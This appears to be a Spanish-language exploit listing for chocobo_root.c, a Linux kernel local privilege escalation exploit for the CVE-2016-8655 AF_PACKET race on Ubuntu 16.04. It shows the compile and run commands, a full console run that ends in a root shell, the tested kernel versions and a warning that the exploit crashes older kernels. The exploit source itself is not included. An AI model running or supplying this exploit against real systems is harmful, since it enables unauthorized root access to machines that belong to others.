
Exploit de escalada de privilegios local del kernel de Linux para CVE-2016-8655, que apunta a la condición de carrera de AF_PACKET en Ubuntu 16.04 x86_64 para obtener un shell root mediante manipulación de memoria.
chocobo_root.c exploit de condición de carrera en AF_PACKET de Linux exploit para Ubuntu 16.04 x86_64
user@ubuntu:$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:$ ./chocobo_root
haciendo la página vsyscall escribible..
nuevo intento de exploit comenzando, saltando a 0xffffffff8106f320, arg=0xffffffffff600000 sockets asignados eliminando barrera y rociando.. el cambiador de versión se detiene, x = -1 (y = 174222, último valor = 2) versión actual del paquete = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, carrera ganada === espere hasta unos minutos para que se ejecute el temporizador. si presiona ctrl-c ahora el kernel se colgará. así que no lo haga. cerrando socket y verificando....... página vsyscall alterada!
etapa 1 completada registrando nuevo sysctl..
nuevo intento de exploit comenzando, saltando a 0xffffffff812879a0, arg=0xffffffffff600850 sockets asignados eliminando barrera y rociando.. el cambiador de versión se detiene, x = -1 (y = 30773, último valor = 0) versión actual del paquete = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 carrera no ganada
reintentando etapa.. nuevo intento de exploit comenzando, saltando a 0xffffffff812879a0, arg=0xffffffffff600850 sockets asignados eliminando barrera y rociando.. el cambiador de versión se detiene, x = -1 (y = 133577, último valor = 2) versión actual del paquete = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, carrera ganada === espere hasta unos minutos para que se ejecute el temporizador. si presiona ctrl-c ahora el kernel se colgará. así que no lo haga. cerrando socket y verificando....... sysctl añadido!
etapa 2 completada binario ejecutado por el kernel, lanzando rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)
==============================
Hay offsets incluidos para kernels más antiguos, pero no están probados, así que tenga en cuenta que este exploit probablemente bloqueará kernels anteriores a 4.4.
probado en: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
Saludos a: jsc por la inspiración (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery por entregar panqueques y café
11/2016 por rebel